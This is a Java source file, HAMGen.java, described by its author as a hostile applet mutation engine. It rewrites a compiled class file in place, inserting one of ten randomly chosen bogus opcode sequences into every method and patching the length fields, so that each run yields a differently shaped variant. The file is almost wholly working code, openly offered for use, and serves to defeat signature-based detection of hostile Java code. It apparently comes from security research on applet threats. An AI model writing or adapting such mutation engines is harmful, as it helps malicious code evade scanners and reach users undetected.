/* HAMGen.java by Mark D. LaDue */

/* March 15, 1998 */

/* Copyright (c) 1997 Mark D. LaDue
   You may study, use, modify, and distribute this example for any purpose.
   This example is provided WITHOUT WARRANTY either expressed or implied.  */

/* A simple hostile applet mutation engine, HAMGen.java inserts one of ten
   pseudo-randomly chosen sequences of code into each method of a Java
   class file.  So an applet with 5 methods (init(), start(), stop(), run()
   and a contructor, for example) could have 10^5 = 100,000 distinct
   mutations induced by HAMGen.  Needless to say, more sophisticated
   programs could insert viable code into all parts of class files and
   make the task of distinguishing bogus code from real code impossible,
   but this simple example suffices to make a point. */

import java.io.*;
import java.util.*;

class HAMGen {
    public static void main(String[] argv) {
        int fpointer = 8; // Where are we in the class file?
        int cp_entries = 1; // How big is the constant pool?
        int Code_entry = 1; // Where is the entry that denotes "Code"?
        int num_interfaces = 0; // How many interfaces does it use?
        int num_fields = 0; // How many fields are there?
        int num_f_attributes = 0; // How many attributes does a field have?
        int num_methods = 0; // How many methods are there?
        int num_m_attributes = 0; // How many attributes does a method have?
// How many bytes (plus a return) should be inserted into each method?
        int insert_bytes = 1;
// Generates pseudo-random numbers for insert_bytes
        Random num_gen = new Random(System.currentTimeMillis());
// How on earth do I use this thing?
        if (argv.length != 1) {
            System.out.println("Try \"java HAMGen class_file.class\"");
            System.out.println();
            System.exit(1);
        }
        try {
            RandomAccessFile victim = new RandomAccessFile(argv[0], "rw");
// Skip the magic number and versions and start looking at the class file
            victim.seek(fpointer);
// Determine how many entries there are in the constant pool
            cp_entries = victim.readUnsignedShort();
            fpointer += 2;
// Look at each entry in the constant pool and advance to the next one
// according to its size
            for (int i = 1; i < cp_entries; i++) {
                int tag = victim.readUnsignedByte();
                fpointer++;
                int skipper = 0;
                int test_int = 0;
                switch (tag) {
                    case 7:
                    case 8: fpointer = fpointer + 2;
                            break;
                    case 3:
                    case 4:
                    case 9:
                    case 10:
                    case 11:
                    case 12: fpointer = fpointer + 4;
                             break;
                    case 5:
                    case 6: fpointer = fpointer + 8;
                            i++;
                            break;
// This is the critical case - determine an entry in the constant pool where
// the string "Code" is found so we can later identify the code attributes
// for the class's methods
                    case 1: skipper = victim.readUnsignedShort();
                            if (skipper == 4) {
                                fpointer += 2;
                                victim.seek(fpointer);
                                test_int = victim.readInt();
                                if (test_int == 1131373669) {Code_entry = i;}
                                fpointer = fpointer + skipper;
                            }
                            else {fpointer = fpointer + skipper + 2;}
                            break;
                }
                victim.seek(fpointer); 
            }
// Skip ahead and see how many interfaces the class implements
            fpointer += 6;
            victim.seek(fpointer);
            num_interfaces = victim.readUnsignedShort();
// Bypass the interface information
            fpointer = fpointer + 2*(num_interfaces) + 2;
            victim.seek(fpointer);
// Determine the number of fields
            num_fields = victim.readUnsignedShort();
// Bypass the field information
            fpointer += 2;
            victim.seek(fpointer);
            for (int j=0; j<num_fields; j++) {
                fpointer += 6;
                victim.seek(fpointer);
                num_f_attributes = victim.readUnsignedShort();
                fpointer = fpointer + 8*(num_f_attributes) + 2;
                victim.seek(fpointer);
            }
// Determine the number of methods
            num_methods = victim.readUnsignedShort();
            fpointer += 2;
/* The main event - insert bytes into each code array */
            for (int k=0; k<num_methods; k++) {
                fpointer += 6;
                victim.seek(fpointer);
// Determine the number of attributes for the method
                num_m_attributes = victim.readUnsignedShort();
                fpointer += 2;
// Test each attribute to see if it's code
                for (int m=0; m<num_m_attributes; m++) {
                    int Code_test = victim.readUnsignedShort();
                    fpointer += 2;
// If it is, insert the proper number of bytes into the code array and adjust
// the stated lengths of the whole attribute array and the code array
                    if (Code_test == Code_entry){
                        insert_bytes = Math.abs(num_gen.nextInt() % 10) + 1;
                        System.out.println("Adding " + (insert_bytes + 1) + " bytes to a method.");
                        int att_length = victim.readInt();
                        victim.seek(fpointer);
                        victim.writeInt(att_length + insert_bytes + 1);
                        fpointer = fpointer + 8;
                        victim.seek(fpointer);
                        int code_length = victim.readInt();
                        victim.seek(fpointer);
                        victim.writeInt(code_length + insert_bytes + 1);
                        fpointer = fpointer + code_length + 4;
                        victim.seek(fpointer); 
                        int diff = (int)victim.length() - fpointer;
                        byte[] tail = new byte[diff];
                        victim.read(tail, 0, diff);
                        victim.seek(fpointer);
// Insert one of 10 different sequences of bogus opcodes
                        switch(insert_bytes) {
                            case 1: victim.writeByte(0);
                                    victim.writeByte(177);
                                    break;
                            case 2: victim.writeByte(3);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 3: victim.writeByte(16);
                                    victim.writeByte(127);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 4: victim.writeByte(4);
                                    victim.writeByte(89);
                                    victim.writeByte(96);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 5: victim.writeByte(17);
                                    victim.writeByte(1);
                                    victim.writeByte(1);
                                    victim.writeByte(87);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 6: victim.writeByte(3);
                                    victim.writeByte(4);
                                    victim.writeByte(163);
                                    victim.writeByte(0);
                                    victim.writeByte(4);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 7: victim.writeByte(16);
                                    victim.writeByte(32);
                                    victim.writeByte(16);
                                    victim.writeByte(64);
                                    victim.writeByte(95);
                                    victim.writeByte(96);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 8: victim.writeByte(16);
                                    victim.writeByte(32);
                                    victim.writeByte(16);
                                    victim.writeByte(64);
                                    victim.writeByte(96);
                                    victim.writeByte(89);
                                    victim.writeByte(96);
                                    victim.writeByte(87);
                                    victim.writeByte(177);
                                    break;
                            case 9: victim.writeByte(4);
                                    victim.writeByte(135);
                                    victim.writeByte(92);
                                    victim.writeByte(99);
                                    victim.writeByte(5);
                                    victim.writeByte(135);
                                    victim.writeByte(107);
                                    victim.writeByte(119);
                                    victim.writeByte(88);
                                    victim.writeByte(177);
                                    break;
                            case 10: victim.writeByte(16);
                                     victim.writeByte(4);
                                     victim.writeByte(16);
                                     victim.writeByte(32);
                                     victim.writeByte(108);
                                     victim.writeByte(89);
                                     victim.writeByte(104);
                                     victim.writeByte(89);
                                     victim.writeByte(104);
                                     victim.writeByte(87);
                                     victim.writeByte(177);
                                     break;
                        }
                        victim.write(tail);
                        fpointer = fpointer + att_length + insert_bytes - code_length - 7;
                        victim.seek(fpointer);
                    }
// Otherwise just skip it and go on to the next method
                    else {
                        fpointer = fpointer + victim.readInt() + 4;
                        victim.seek(fpointer);
                    }
                }
            }
// All the changes are made, so close the file and move along
            victim.close();
        } catch (IOException ioe) {}
    }
}
